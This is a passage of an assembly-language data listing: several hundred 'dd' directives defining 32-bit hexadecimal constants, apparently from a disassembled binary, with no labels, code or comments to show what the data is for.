		dd 1C423F4h, 5E3F2A5Fh,	882B180Dh, 2A50744Ah, 4770C784h
		dd 81047858h, 0BCEEC21Bh, 0E41DF8h, 0C1602E6Bh,	0B74C4137h
		dd 0D900637Fh, 0EC65D2F6h, 1F78FB6h, 0AFF33C64h, 30DB5304h
		dd 8B009C14h, 0CB9B1AF6h, 7524D9h, 1254C088h, 0FED31B0Fh
		dd 428D269h, 6B605714h,	0B323A1EDh, 3071117h, 0FDED637Eh
		dd 0ACAB52h, 439B2EB1h,	72188938h, 55BA8B00h, 0EA62D2C0h
		dd 0AA66289Eh, 0ACD31E90h, 8C6975D4h, 3FF8CA20h, 365B8400h
		dd 5A6A6EFCh, 53B0F79h,	8A229FB5h, 404370C4h, 757EF0E0h
		dd 0FB095092h, 544EFEh,	0C7BB5BF9h, 0B9A20BA4h,	80843E06h
		dd 9C416060h, 61F02362h, 96018911h, 4F1C9C49h, 1AA18034h
		dd 130F8EBAh, 8D4800E1h, 66AB366h, 0BD01DC04h, 983AE0D3h
		dd 0C0230795h, 1F30A0B2h, 0C792028Dh, 616646E2h, 0B957E0A2h
		dd 0D813C8C0h, 0DB8090A9h, 0CDF007ABh, 8202DD21h, 6A64E97Dh
		dd 5DBD87D5h, 2B607CD0h, 0C47CA5ABh, 0A0DD605Fh, 0F6DE03B6h
		dd 0B17BEB99h, 4C0DA900h, 311CBCA9h, 74A57ACFh,	1CD5487Ch
		dd 276C4300h, 993A322h,	0C8586A09h, 0F82088D9h,	0D1504826h
		dd 5ED32367h, 9CED6200h, 86A4FFB3h, 770944h, 0ADF5EE1Ah
		dd 0EAD8064Ch, 0B7260204h, 0C87E6Fh, 817B0985h,	3498BF09h
		dd 840043BDh, 13889C12h, 906C4DDDh, 0A66B1C5Bh,	684505F3h
		dd 30C84435h, 8114C758h, 7006312Eh, 6B01A67Ch, 0F642C9E9h
		dd 8422A566h, 91553113h, 50547ABCh, 5C6076A0h, 0EECBD724h
		dd 0B3CDA809h, 0C3F500h, 0CEF45Eh, 2A591300h, 9EF8201Ch
		dd 0AA7B5C11h, 63830A00h, 0A6880110h, 19C099F8h, 18E7D851h
		dd 0F4780033h, 0AA6DAB64h, 4200C786h, 38086945h, 14816843h
		dd 0D4E5B724h, 50522B09h, 0D3374460h, 0FCA49FB0h, 69025D46h
		dd 27B393EDh, 700010E7h, 0D985ED61h, 9C4E0E95h,	0F0421209h
		dd 806802A6h, 0E82EB7BEh, 38000A0Ch, 7B35E3E1h,	0B371C297h
		dd 3050828Ah, 0A070902Ah, 4A0C8100h, 0D93A0E3Ch, 57D80265h
		dd 9552BC5Ch, 315D6840h, 59928A13h, 334D1892h, 3034FDE8h
		dd 915A9C21h, 9A68039Bh
		dd 0C8C931FDh, 4508DDh,	63CABECBh, 248518D8h, 0C7601658h
		dd 96F1361Eh, 71D4B8B9h, 49976A7Eh, 0EB060085h,	4ADAA232h
		dd 6125A100h, 97452B4h,	0F02200EAh, 1DA3D7BAh, 3D3B3263h
		dd 0C4E9ABDDh, 802F6812h, 0F0078C77h, 0CEB9DA19h, 0B803B5B0h
		dd 258B895h, 2B647C45h,	0B889084Fh, 410B0483h, 30D8C812h
		dd 8CC15024h, 0F46140BBh, 2BF16072h, 0BBE0CA9h,	0A1FA1926h
		dd 4E0F7C00h, 0F4903CF8h, 61D5F416h, 2F237C3Bh,	0A7AA803Dh
		dd 0B26C7A84h, 0F9DF3B0Bh, 805455B8h, 6D7D00ECh, 34E8B61Eh
		dd 21008BDAh, 0C5C153C8h, 1D7B70Eh, 0E526ADBFh,	0D5DB106Eh
		dd 9BC7E4B8h, 0FA71890Bh, 9C204044h, 0ABD828E8h, 175946C0h
		dd 1804ED6Dh, 0E4E2A507h, 0EE257C80h, 82101597h, 90138EE0h
		dd 0D6A8C855h, 0B2A09AE8h, 0AB25CD60h, 3524A2C5h, 7A4BC04Eh
		dd 0BD31C085h, 0E0FCB18Bh, 902FE600h, 96E1A5B9h, 0A62901BBh
		dd 5F7FAE72h, 404C294Ah, 0A0440DCh, 3C85BEA5h, 345EECC0h
		dd 0A82C4CEFh, 2E87147Bh, 0F33EF8B4h, 0C6B79089h, 0A6E1040h
		dd 0AABFD804h, 0BC8138B8h, 7B0102B6h, 48C5105Bh, 0FBE900C4h
		dd 495011DAh, 5C1CED91h, 0CC0058C7h, 35F5630Ch,	8AF91A48h
		dd 0FCCA41AEh, 31EBE460h, 8357A18Bh, 7C9A1982h,	784AD937h
		dd 3B78944Ch, 58F47000h, 0F0566396h, 0C6F2018Eh, 771287C0h
		dd 5D829C8h, 38626B58h,	27C6E890h, 0E20C065Bh, 0E0A54AAEh
		dd 40C0A307h, 0CDA06510h, 7618694Bh, 0AC622EE9h, 6AB582C4h
		dd 44C82EAFh, 202C0452h, 254290A8h, 9C401891h, 69F05B16h
		dd 9310108Bh, 22402C4Ch, 3F40D024h, 56E3D2h, 0A360435Fh
		dd 65D77B09h, 9C01177Dh, 4E388667h, 2F008F3h, 70921683h
		dd 0F4E82016h, 3902F2AEh, 20EA943Ah, 8004E3F0h,	0D52E0C4h
		dd 6C90F658h, 0F7820081h, 8D00243Bh, 17705914h,	734E6BFEh
		dd 38661E4Dh, 17EBD28Eh, 0DC5D08h, 0BC3506D7h, 0D4A4505Dh
		dd 0A95FCE00h, 7073D95Bh, 31D00ABh, 4FBF2E83h, 0A627EC48h
		dd 0BE740171h, 60FE872Fh, 0C9BCD2Ch, 0B2CC7088h, 9E13F08Ch
		dd 3444AEBAh, 27406A2Eh, 6E5D63BCh, 0E9D5AF31h,	306D03D8h
		dd 9020B451h, 5AE10B45h, 9C916B9Bh, 7EA5184Eh, 942F10FDh
		dd 80A6C85Ah, 0EBFCCD67h, 6600440Ch, 0A117A0B8h, 0B9506309h
		dd 0A1D00DCh, 0AB3EDE6Fh, 26C5E800h, 43334A61h,	47360131h
		dd 0D4B290F5h, 0C31A451h, 184674h, 33DBA92Dh, 39AF813h
		dd 7EE426B2h, 0A81657F2h, 8017BD7Fh, 9B230C2Fh,	65491900h
		dd 0C52A0Fh, 0B44B09Ch,	0D364CDE2h, 0A8C6259h, 0B4E7133Dh
		dd 204E1E8Fh, 0AEBED647h, 56F91EDDh, 0CD8080A9h, 32D0398Ch
		dd 0C64D72Ch, 76E2C43Eh, 0E44A5086h, 962B01F6h,	0B4BFBE5Eh
		dd 0CFFC41F5h, 0A1EC3339h, 780CA7E7h, 0C37F5498h, 4D130D80h
		dd 0C00FC23h, 7917BD6h,	4C003A49h, 8F894F99h, 2E93BC0Ah
		dd 630C63BDh, 4CA8D7DCh, 0B073BAF7h, 0A3411004h, 20812236h
		dd 546802A5h, 0C9389081h, 38F42174h, 621309E8h,	0EA4005FEh
		dd 0E8FCEC54h, 0A6008C60h, 47408BE8h, 32827520h, 7B60571Ch
		dd 0F00014F2h, 4A32B65Dh, 26470B83h, 0A694EF50h, 0E200DEF8h
		dd 1455758Fh, 257C2158h, 0B490E42Fh, 1200C347h,	82252939h
		dd 0D72DCBh, 7E54EDC5h,	0E71F380Ch, 0C8DB122Ah,	0D92A7C14h
		dd 987100A9h, 0FCFB5345h, 328CA03Ah, 7D558137h,	0BB2F00B0h
		dd 0B6CFF9Ah, 312300C1h, 9E93DA88h, 0C749A8F8h,	2A668004h
		dd 8C755E58h, 11F42E54h, 41001490h, 6B7CDB38h, 1244FF3h
		dd 53B426CFh, 444915AFh, 0C8F810C8h, 619C42C0h,	448C79F0h
		dd 4E589D52h, 0EF721FE5h, 83BB0E42h, 0C8E4E07Fh, 48035C37h
		dd 5EC0D038h, 32CD42Fh,	29F15098h, 8C13E1h, 0A5F9890Dh
		dd 310F7521h, 0AC336791h, 949D3059h, 0FF465E8Ch, 2F9E3300h
		dd 67FE55ACh, 0EC875B1Fh, 6F7C3D02h, 4188C0DAh,	542F0163h
		dd 1ABCD85Ah, 0C4147568h, 0F0A8AB7Eh, 0BEC0E2E1h, 0A043DE0Fh
		dd 471E1EF8h, 503393FAh, 6C239CA0h, 669C4501h, 651841F0h
		dd 6F4DAA88h, 50A5589Ch, 891485D2h, 0EB27D8DCh,	0F8FE48h
		dd 158EC5E2h, 5F6EB734h, 23A42F60h, 0A66E0086h,	0EB2F5A46h
		dd 0F8D0DA30h, 2AB1E9F5h, 2598F4D9h, 0E0800F13h, 60B3364h
		dd 25DD80C4h, 132410F0h, 3ABE82C8h, 40523CCh, 83DF5230h
		dd 0C6D02617h, 48B1B26Eh, 1B2B6403h, 0CAF10BFFh, 6869567Eh
		dd 0D9051088h, 2B6D00B9h, 0CC92EEA6h, 9400F037h, 68C45C58h
		dd 380310Eh, 0D876A0F2h, 39026228h, 0B1E0753Dh,	9B5881DDh
		dd 68D22ED7h, 20B06ED8h, 1496A86Ch, 620465Eh, 9892B9Fh
		dd 0D9D70A80h, 1BAC6F25h, 5FE27155h, 7092444h, 40797EF0h
		dd 241C5E08h, 70373Bh, 4D0BBE38h, 7450B76Eh, 18B8E1B4h
		dd 0F8994B09h, 7EA881A6h, 0CECC7194h, 317B2F2Eh, 0E8A24809h
		dd 0DD003B39h, 0BC594BCBh, 66280FECh, 2E6C0152h, 35B28A3Dh
		dd 0F08036D0h, 0B0D82E03h, 0A0AD0B24h, 889855C6h, 6001E7Eh
		dd 400D64EFh, 2C953F11h, 7851B9h, 0DE19C663h, 9F4802FDh
		dd 8C61FC98h, 0F4016CF6h, 0F501709Dh, 0F040B3D6h, 0B0601052h
		dd 0B4280000h, 5916F626h, 1B14679Eh, 5B03E4Bh, 9F0E87FAh
		dd 0E218AC90h, 7C6374ECh, 0D0B25D6Fh, 5934C809h, 0C48F0C29h
		dd 64025288h, 0A03350E0h, 0BE721CE8h, 23D705C3h, 0E3D6C29Fh
		dd 30B3A24Ch, 1209B67Fh, 59615731h, 824C11BCh, 0C16DFD9Bh
		dd 70785937h, 0FCC369A0h, 9AA12501h, 57667EB0h,	0E39E244Eh
		dd 5FC80D00h, 99C7AF9h,	9010934Dh, 757C1468h, 9A735904h
		dd 14B95C31h, 205CE93Dh, 3008C70Ah, 0CBA516B4h,	0C003C85Ch
		dd 0D30DFB0Bh, 0C8FEF3Fh, 503BBB2Ch, 492F6055h,	97B74F2Eh
		dd 0EB22E50Bh, 0CCEB80C0h, 4A69E96Ah, 23649158h, 532680EFh
		dd 0E8C02D68h, 0E84150F1h, 0C16307C8h, 0FCE5B065h, 2BE9AD31h
		dd 5A04685Dh, 7D01F497h, 20390504h, 0DE4D13B0h,	0FEBA0F08h
		dd 0A5E9803Fh, 42BBE6Ch, 8ABFD80Bh, 8ED4C516h, 0A92984CCh
		dd 500FB930h, 25A30E1Fh, 525CC642h, 6860D828h, 0BE941A66h
		dd 0B5DB5B80h, 6F327F1Eh, 9ACF8800h, 2BE382A6h,	0F9462EA3h
		dd 0E7215E08h, 599482A7h, 587818BCh, 28C56226h,	28F29B12h
		dd 0C1911A10h, 0F05C9C3Fh, 260BB6E9h, 0DE032694h, 0EABEEE7Ah
		dd 0F00C482Ch, 999E2486h, 0AA7E09A8h, 22154061h, 309BF29Ch
		dd 0DD006945h, 0EE66E486h, 918F6B4Dh, 0AC710054h, 4E8B70E3h
		dd 0F4C43A2Ah, 0E5247D14h, 0F83A4EE8h, 0E001823h, 0FCA644ABh
		dd 3695028Ch, 815AE14Dh, 0E283CC56h, 34756AEh, 2027F5E0h
		dd 0A0E45B78h, 0A0212E78h, 0C5253Eh, 78606564h,	0C71D79Ah
		dd 0F6F5E213h, 0B323E03Ah, 2231B504h, 10401CF3h, 865CC2h
		dd 2B16A822h, 4C405233h, 0F7938B9Ch, 9D952ABBh,	443505DCh
		dd 85803213h, 0F2A4F254h, 1301302Eh, 23346901h,	4863292Ch
		dd 0A740222Bh, 0C757D8C8h, 7FAA3060h, 0C66F9BCh, 44644EA5h
		dd 0C139F550h, 0A9599288h, 74669888h, 4D2A0042h, 9C8819A8h
		dd 0A52CC689h, 6B44E458h, 9FF270E2h, 1880B530h,	400FD2A1h
		dd 0A4265215h, 24881886h, 40D244F5h, 0F05A9DBCh, 0FEDC008Bh
		dd 90D04D4Bh, 500B14FBh, 8AD6DF04h, 571D24C4h, 6F7B4831h
		dd 0EB000439h, 419994Fh, 5C017AD1h, 0F5E0AD22h,	71E9590Dh
		dd 9E085462h, 630E38BAh, 0B057F65Eh, 8C75E42Fh,	5354BF02h
		dd 0F28CB4A2h, 0D90C604Ch
		dd 0EF599D88h, 855E1300h, 0B0894BF9h, 5E073E6h,	0E3B6EC5Dh
		dd 0C83CB4D6h, 2A63048Ch, 0BC6D5E43h, 5816B004h, 0F8AC002Ah
		dd 73E3F7D1h, 0D0A1C1D6h, 421610ABh, 0D47500E2h, 0C71D53EFh
		dd 6324AF91h, 8B039FFAh, 2544F2EEh, 9C4D5499h, 0E03F7D62h
		dd 905C2B00h, 0D17C917Ch, 711886h, 86FA83Ch, 37D29F70h
		dd 0A8A020BAh, 3B80E703h, 56B025A2h, 0BB1870E0h, 9EE1C605h
		dd 0ECC142D0h, 1DEDBE7h, 0F5EAAFFAh, 0EC3C32h, 4E5A13D3h
		dd 9D18356Ch, 0D61F34B0h, 401C8C8Ch, 989DC088h,	8CC9EA68h
		dd 0B3D4D813h, 0CF749008h, 2C05ED29h, 6A0624Fh,	0ED607921h
		dd 462FD8h, 64E6F062h, 269F8AE8h, 0B8804E6Ah, 1110172Fh
		dd 6778809Fh, 2AB2588Bh, 0B46393h, 0E4AE56A3h, 732E17C0h
		dd 96FF7A04h, 0ACBC5DB1h, 48C0CBCh, 2F61697Fh, 1CD38423h
		dd 0D48245BCh, 22D0275Ch, 7040DE80h, 2184D1B9h,	8EBD169Ah
		dd 0F65E452Ah, 0FA1CB438h, 5320002Ah, 8AB38B78h, 0F8926A14h
		dd 61B1E46Eh, 11E15E9Ch, 0A333043Ch, 0C8C1CFF1h, 210BC5D4h
		dd 2C352B20h, 4172ECF4h, 1882E8B5h, 0FDF1118h, 9047D778h
		dd 0AEF90264h, 0A7DD95C6h, 7483E062h, 50150A4Bh, 4A982050h
		dd 4D5E898h, 10EF03C0h,	92A8ACE1h, 41A10804h, 0EE3171Fh
		dd 9F0902CEh, 143154D8h, 0CF58285Bh, 0C3838640h, 9F5A18E0h
		dd 2A1318ADh, 1373FB3Eh, 8CF72342h, 0CC1007C0h,	64031396h
		dd 0BFE49E9h, 0E040E334h, 1FFD8ECBh, 923952h, 174AABA8h
		dd 3E00B16Dh, 6EAE151Dh, 0C9132Ah, 38644095h, 0E207D29Ah
		dd 0BEDCFD04h, 0F4852F6Ch, 0B17A9404h, 0BD6FFE40h, 0D0A8CC82h
		dd 218E9A8h, 8B385D60h,	1C34BEC0h, 2CB6891Ah, 1BA29CE0h
		dd 409022Ch, 6B45823Eh,	4BCF7B2Dh, 9AC80A28h, 7B204CCDh
		dd 9D327DAAh, 80A51198h, 4E3CA265h, 98932795h, 2919897h
		dd 32B79181h, 1EE0C441h, 0AC275102h, 0B51836AEh, 0DCB48028h
		dd 0E99D79AAh, 76985612h, 9F903470h, 609C49C2h,	58F4BB0Ah
		dd 0B5D500CCh, 0B8B7FAF9h, 63FC201Ch, 405556CFh, 3CE2E1C4h
		dd 86882531h, 1FECF4E6h, 0DA491776h, 0E8D8D494h, 0A9432Fh
		dd 286B0612h, 24B2F6A3h, 84B85F51h, 0E55269Eh, 0C8CB73F9h
		dd 67CF65C8h, 0DC53E0ECh, 50F290D1h, 679B1FEBh,	0B73940D9h
		dd 46C9775Fh, 817C904Ch, 1BDE53F8h, 17C617F8h, 313C1D0Fh
		dd 806B8B98h, 0EBA2C508h, 4CD772Eh, 0C758614Dh,	0E8F912h
		dd 794324AAh, 9A1D57h, 0CCDC6E99h, 0CAD1CD8Dh, 0ABC9A91Eh
		dd 24132B97h, 0B09FC8A4h, 7E42000Ch, 3C439692h,	1A976B58h
		dd 30AC64D4h, 0D1692C13h, 16018FE7h, 38CA5084h,	31D0E8B2h
		dd 8CC39F4h, 728B8804h,	0F198B246h, 290CA7E5h, 0BC9DEE28h
		dd 0BEB41895h, 2733F0CEh, 10E8547Fh, 0E083C252h, 12E5E2F6h
		dd 216BEC0Ah, 30888AC0h, 9374BD64h, 0C15A30C4h,	80E80C01h
		dd 4C007B12h, 0E20939EDh, 0B27E2AFBh, 28C401B8h, 1EC8266Dh
		dd 470B20E9h, 6B91BB04h, 0D0A04673h, 0A0028C4Bh, 0AC2F6EFDh
		dd 503C745Ah, 0FC00C872h, 0BA34CFB3h, 69ED009h,	40C70C5Ch
		dd 134BD05Ah, 131C8888h, 0B439F5B2h, 0C32989E8h, 5680C098h
		dd 33B4AE8Fh, 2EE23FF3h, 0D028D580h, 769F6684h,	73F1EB07h
		dd 45509096h, 0FF064AEh, 1CB729D8h, 31BFAD80h, 5094F323h
		dd 0A8827502h, 18745270h, 1897B80Bh, 8D582052h,	0B0A2A40Ch
		dd 8E300AF2h, 0F351099Ch, 0B40E3337h, 34DC758Bh, 0BCA0EA13h
		dd 6A527D2Bh, 608C7088h, 34AEA66Bh, 22B123Fh, 7EED281Eh
		dd 0CCE32FB0h, 9FE0FE3Dh, 9C2CC72Ch, 7C09549Bh,	0D9745188h
		dd 0D5189Bh, 0E8375CAFh, 7AA3CC35h, 3F983051h, 0F01CA013h
		dd 0A401C13Bh, 0C0A4BF13h, 3D59C07Ch, 300CC975h, 20B56703h
		dd 0CFFA389Bh, 36452900h, 0A3D7BBBAh, 14318E01h, 0D6B26E6Bh
		dd 4D7A8424h, 53967C80h, 423CE7DCh, 30B3A26Ch, 6D547AEAh
		dd 7B7644ACh, 14484B00h, 6EF5D4BAh, 5D8FE52h, 0FE4C54EAh
		dd 0C3D40B59h, 74607CCDh, 0E49B086Ch, 0BB4C6Eh,	4166C899h
		dd 88B48A0h, 9ED7211Fh,	0FB222840h, 0D91009BFh,	0E89188h
		dd 0DB13F49Eh, 0DC004DDEh, 6D49F106h, 5A540227h, 5E89FC9h
		dd 3D40A476h, 4872AFDh,	0E4513891h, 31708C7Ch, 2C97644Bh
		dd 0C2E38BFFh, 6BB4309Ch, 272A39A1h, 2F4A40CCh,	0A92B107Ch
		dd 2DAC65C1h, 0F05430E3h, 85A16E12h, 501A7C0Bh,	821512F0h
		dd 0EA584184h, 83DEF6D4h, 0BFC47988h, 94A0AD40h, 0E29B8B3Ah
		dd 0DA312689h, 7865054h, 0F021B66Eh, 987C0088h,	0CD0BC73Ah
		dd 58A0E715h, 0FB0044A5h, 0EB2A68F8h, 7A3B64Bh,	0ABA7453Ch
		dd 0F76F3014h, 0A19F7B39h, 0C6F9B988h, 8651FCh,	0C735086Dh
		dd 0F08E22BBh, 5E6ACD00h, 61E67533h, 0FC24E99Eh, 80F8BE16h
		dd 0D6BFA3ADh, 60037328h, 9F79641Bh, 50FC5475h,	0F4917Ah
		dd 506BEA3Dh, 0F002D872h, 68016A74h, 0D63C7616h, 0BD68100h
		dd 0FB78D48Fh, 639C04EAh, 0D9B2CA80h, 302F6F70h, 5F000623h
		dd 0FDDA4A2Fh, 9479529Ah, 30FEB300h, 1ACA071h, 0CE1EAF00h
		dd 8D111A0Ah, 0C5E626EEh, 45A3D78h, 4CA624h, 77559256h
		dd 68015DDCh, 24BFBE81h, 0E2FC4128h, 0ABB3C5A6h, 0F7D8C830h
		dd 43B90226h, 1286EF1Dh, 5E0BDC58h, 0B09C304h, 0E4D865B0h
		dd 3186052h, 6C0B0090h,	30DCE09Bh, 5A12B3BEh, 682CF45Bh
		dd 0C8EB4F59h, 23147818h, 22F0D8DDh, 0DB820097h, 1BB663AAh
		dd 95071EECh, 5FE126BAh, 0DB090A0h, 0C81255D2h,	2457860h
		dd 5FA3B30Ah, 1CD241BEh, 0E2945917h, 0D1802009h, 4F5428ECh
		dd 0C8D4CB60h, 37E7C086h, 360B3B5Fh, 22BD077Bh,	4E82CB90h
		dd 0FCB5B528h, 0D013213h, 2D81630Dh, 522B6093h,	23F86E0Ch
		dd 47C6014Ah, 7B4DCCE1h, 82C1AC02h, 79E0F149h, 17581809h
		dd 5D27765h, 889DFAA4h,	0DC9B2E4Ch, 80CB4516h, 0D7C05FC8h
		dd 12199056h, 4AC63C1h,	0DC3B9BC5h, 0F123F7Ch, 28E203F7h
		dd 6523E700h, 73F3F5A8h, 0A628F04h, 489C7E2h, 43D861D2h
		dd 8A970C6Dh, 0C199C89Ch, 70277177h, 4E4E6DC4h,	0DC9B9830h
		dd 97B62982h, 10956BD8h, 4C809F91h, 460A7845h, 0A097905Bh
		dd 0D0269560h, 501500C3h, 0EFAFA143h, 0DA09884Ch, 1D497D09h
		dd 80FF113Ch, 0C7E08E9Dh, 0D3BE0134h, 53DCA82Dh, 0D0C0E287h
		dd 0E0D065A4h, 8CB3E898h, 452B0D0Bh, 0C098EDCEh, 70548591h
		dd 47EACE0Bh, 0F8FC6B50h, 1F193E68h, 71B43B2Eh,	737144A8h
		dd 30A0E2F4h, 2E24AD0Eh, 0AE1CE8F5h, 0A8237BD6h, 1A52D0A3h
		dd 0EA791FFAh, 0B7E80B2h, 41C036A7h, 4820F35Fh,	0F6E84B0h
		dd 82B36FE3h, 139085ECh, 0EBB23302h, 0EB3B0335h, 1580242Ch
		dd 9E465E0Ch, 0B2144413h, 9D2900B4h, 85CE35B9h,	0E3DB00A6h
		dd 0CFBF0C3Dh, 634E8170h, 208AC082h, 0A372AFA8h, 0F084C09Ch
		dd 38B6E70Dh, 0CB171817h, 0C0998838h, 0E61118FBh, 761253E8h
		dd 5C304585h, 5AED24Ah,	11405F18h, 2B9B807Eh, 8E17F678h
		dd 0D80028A8h, 33B5C458h, 2E207389h, 0C1D0EABDh, 397996BEh
		dd 449AD7F4h, 0C7B5AD81h, 0B784FC51h, 1C824A4Bh, 1C805E37h
		dd 89B8B6Eh, 0B0E5F08Bh, 18A929E2h, 1E00AEB4h, 1F6E8002h
		dd 0C00EAF57h, 0E95C3C6Ch, 5A253DF5h, 1B7800A7h, 82D2CED3h
		dd 465EB45Ch, 4404C0Ch,	0C7033084h, 183948B2h, 7630D344h
		dd 0D84B60DFh, 0AC469535h, 0E260C301h, 84A0B57Eh, 2FE8E478h
		dd 5100A943h, 1F4404E5h
		dd 0B21EF0EAh, 0C627DB9Ah, 0ABF62070h, 0B1C3Ch,	3DA564E4h
		dd 5EBC5EE6h, 759440F0h, 32DC37F4h, 78A8B059h, 0BDB41797h
		dd 7A6400C6h, 7FEB2DC0h, 129F1262h, 23C0F451h, 0F8CE70D6h
		dd 0DFC05F88h, 2F46B1h,	0F5FA21BAh, 0D9132E35h,	0F7A898A8h
		dd 0E7100100h, 4321278Eh, 0CCB2BDE5h, 4A11AC9Dh, 0B101268Fh
		dd 20B28DDCh, 11009D50h, 0DE7B2A3Ah, 2D927D73h,	0D4406FADh
		dd 0C502131Fh, 0D29EF064h, 0D4C8019Fh, 4133F88h, 0B9E0F8A6h
		dd 4400FAF4h, 0E11A1821h, 8D28C1h, 0C2D84CDBh, 5C482D10h
		dd 8099525Eh, 89AC943Ch, 0EF0C128Ch, 8B6C85ECh,	0C683C8CCh
		dd 64BB78E9h, 655124A1h, 701C3118h, 9956E7C1h, 14E04CA6h
		dd 940016D8h, 3633CCE6h, 5F5A7558h, 27345EE7h, 0FC070CDh
		dd 3D9DABAh, 401CB992h,	0F0128DC8h, 0DC8EFFB7h,	16C060C8h
		dd 37A422Bh, 5A74CEA5h,	0A81A8F87h, 5929C17Bh, 20F4A028h
		dd 0F0A0A181h, 0DE8054F2h, 80E8B6C6h, 6F88A2CDh, 7954E49h
		dd 35E09AD4h, 2C3AB3B2h, 8F8C5718h, 0E1B687BEh,	0C82F3A10h
		dd 0C1A7E510h, 6EC1BB46h, 84307CCEh, 0A034D45Eh, 0AF056418h
		dd 67EC0A2h, 4AC860CEh,	743716C0h, 0D7600B7h, 1E86EADDh
		dd 632DE2E9h, 1BE4C88Fh, 1DB300D9h, 672808DDh, 0C30EF3E6h
		dd 67C261B2h, 0AC244AD5h, 6C49D4EDh, 900535BCh,	5BCC759Bh
		dd 0B3229C04h, 0E1F08D07h, 6333B97Bh, 0B8EC5D28h, 6CC81730h
		dd 89086714h, 0A0E4BCC5h, 294E1860h, 7DCB3818h,	0C1F546h
		dd 0D767928Dh, 0DB4574D1h, 504AEE25h, 585EA4h, 6301E6F8h
		dd 979554F4h, 8703114Ch, 16D10E46h, 7860A9D5h, 0D97E8853h
		dd 0A3AC040Bh, 2518FBE1h, 9B597C79h, 69EC9218h,	84C6CF3Bh
		dd 0AD0B2002h, 529430AFh, 31805474h, 22570003h,	823D53B4h
		dd 0A0B68CF8h, 11D4175Ah, 0EB1D8018h, 1D08399Ch, 0D630CBC0h
		dd 0AC9C8552h, 8C9FEC78h, 0E16F4A03h, 691AD2ECh, 6467B814h
		dd 5B620344h, 8753B380h, 2C2E5E3Bh, 0E289B0E3h,	0C0905CCDh
		dd 12438B8h, 7020365Fh,	0F2608317h, 1EB305C7h, 0ACCDA1CBh
		dd 0A32280A8h, 128C94FFh, 0D2C6B840h, 9057F3F0h, 3E919DC0h
		dd 0A200D5D9h, 41B4EC4h, 853E3B47h, 54D8021h, 337FF3CDh
		dd 0A867009Bh, 6395753Dh, 7F0DF80h, 0E20188B1h,	7CB56BF3h
		dd 0ACC470EEh, 5A7B3020h, 0F0F52771h, 898B8601h, 43DA2C69h
		dd 0E370D8h, 8393A6F1h,	0F0B2B4F6h, 0AC70219Fh,	4272CA0h
		dd 80C4DA4Ah, 285311CAh, 26162E94h, 6BD587CCh, 99092066h
		dd 6D00636Eh, 31C4873h,	96C2D26h, 0B3245101h, 44162054h
		dd 6CDAB857h, 60B224C7h, 0AF900CF9h, 2FB4525Dh,	0DD0E87Bh
		dd 6D6E04FEh, 0C17F6A7Eh, 0CA3164D1h, 7A4AAC5Ah, 90E81440h
		dd 5BA63C2h, 0EF620780h, 776C8015h, 0DC8ADA3Ch,	5246561Ch
		dd 0B41FD700h, 0B58EC816h, 2F308A3Fh, 0B13016AEh, 1889D18Ch
		dd 0B26E2559h, 88F9002Bh, 3AE35300h, 2E90C663h,	0ABC4B57Fh
		dd 23A50370h, 46F863AEh, 0CD3A5925h, 0E5BF013Fh, 5042D840h
		dd 0AEC0407Eh, 2BFE7C22h, 17E27900h, 4039B315h,	8F2654F8h
		dd 0A5662DB5h, 54B892h,	0F92B8B80h, 4D6ABDh, 0A6FFD9AFh
		dd 85B77001h, 29D80905h, 0C0B39227h, 8D880730h,	95007AC1h
		dd 9CA8ADB2h, 951C878Ah, 9B120481h, 0F0A4666Ah,	7933A12Ch
		dd 7F3D0F55h, 34821914h, 0C4DB0EA7h, 465CB8ACh,	0B3750002h
		dd 6A0052Ch, 0D4A3C07h,	8F265238h, 889C50B8h, 94C0FF26h
		dd 46740026h, 90E70999h, 5CF48774h, 7AE468C9h, 0B8C0C0BBh
		dd 5F32A321h, 2F206090h, 0DC335830h, 8090C32Dh,	5A056C49h
		dd 906D5864h, 210060B9h, 0D9109941h, 800370F3h,	6726EA66h
		dd 0E78B90D5h, 8C9C1249h, 0D1F8935Eh, 0CD6995D0h, 356DE105h
		dd 0A4126723h, 50D85474h, 0FC9000BBh, 1ADEC424h, 74BEE6EBh
		dd 94497D50h, 7465E50h,	0D8310377h, 8AB348BCh, 0FCDB71A2h
		dd 80A87D92h, 0A743DABCh, 50516B01h, 8CC68EECh,	21D716E0h
		dd 0CF800BBh, 0D5C2F5A2h, 0B1186324h, 9E990BEFh, 20957Ah
		dd 0E40D60E7h, 7B51F301h, 0B06E6314h, 0F63EE184h, 4027BE35h
		dd 0A2A86413h, 914052E8h, 0B310806Ch, 0FE3F23B8h, 5B24BCE2h
		dd 0E8052CACh, 10B8433Ch, 8C4AE8h, 0A0AA0FC1h, 0B16ECEFDh
		dd 339891B7h, 0AF040BC5h, 74B87474h, 38C22ACh, 0B854F301h
		dd 0C188D8AFh, 3A12D461h, 5CB1FAECh, 812C2A2Ah,	0EB23364Dh
		dd 0B4402075h, 17C026B1h, 0E00F345Eh, 0B61AF06Ch, 0B7C83EA2h
		dd 0AD7B8F08h, 0B08803CEh, 0C318C28h, 7ED0C059h, 0B0F06609h
		dd 0E45EB9h, 0AAC49812h, 1D281669h, 812D8907h, 5E228E63h
		dd 0D9B34033h, 2B7D6Eh,	0DD8A6CF6h, 0A34EA565h,	0A8B60F4Eh
		dd 4DAEBDB0h, 82A4DA0Fh, 0D02804h, 0DC90519Ch, 0E00B64ABh
		dd 82C97537h, 5C8B7E1Ch, 54676C0h, 34C9A301h, 6EEB0F1Bh
		dd 846008B1h, 2F50967Dh, 80C308EDh, 74FAE848h, 0B078008Fh
		dd 0E8D84610h, 0C412E9C1h, 90A47E72h, 0F220354h, 7C97C855h
		dd 0F8D59EE8h, 0D0733800h, 0C9D6D41Dh, 801302A2h, 9D5E4B67h
		dd 27012070h, 0B0CA771Eh, 3024B6ECh, 34CB1C9Bh,	8EDA935Bh
		dd 0CE6088F8h, 0AF7C16E0h, 752E9F35h, 0DA0D14C0h, 8BFC602Bh
		dd 0F8E2090Ah, 68A5CC8Ah, 0F8E0BCADh, 30FC8CB3h, 96E1B93Eh
		dd 204261C7h, 57D95B7Bh, 0FD04D0A3h, 62EB190Bh,	0E18843BEh
		dd 68648378h, 0EC6B18DBh, 0A81C30A0h, 0C24E9EECh, 15240A0h
		dd 2BCCC9D4h, 242D80ABh, 370CED0Ch, 11A2FA96h, 0E7E4033Eh
		dd 0A1912FE5h, 7120D0C5h, 0D3887B4Dh, 0FCD82F60h, 2C48806Ah
		dd 6805B0Ah, 41C00169h,	0BE9EC74Ch, 13C4291Eh, 0E0CB89C8h
		dd 0A207E3DDh, 850035CDh, 4A2F8A68h, 8044DB5Eh,	856C4AF5h
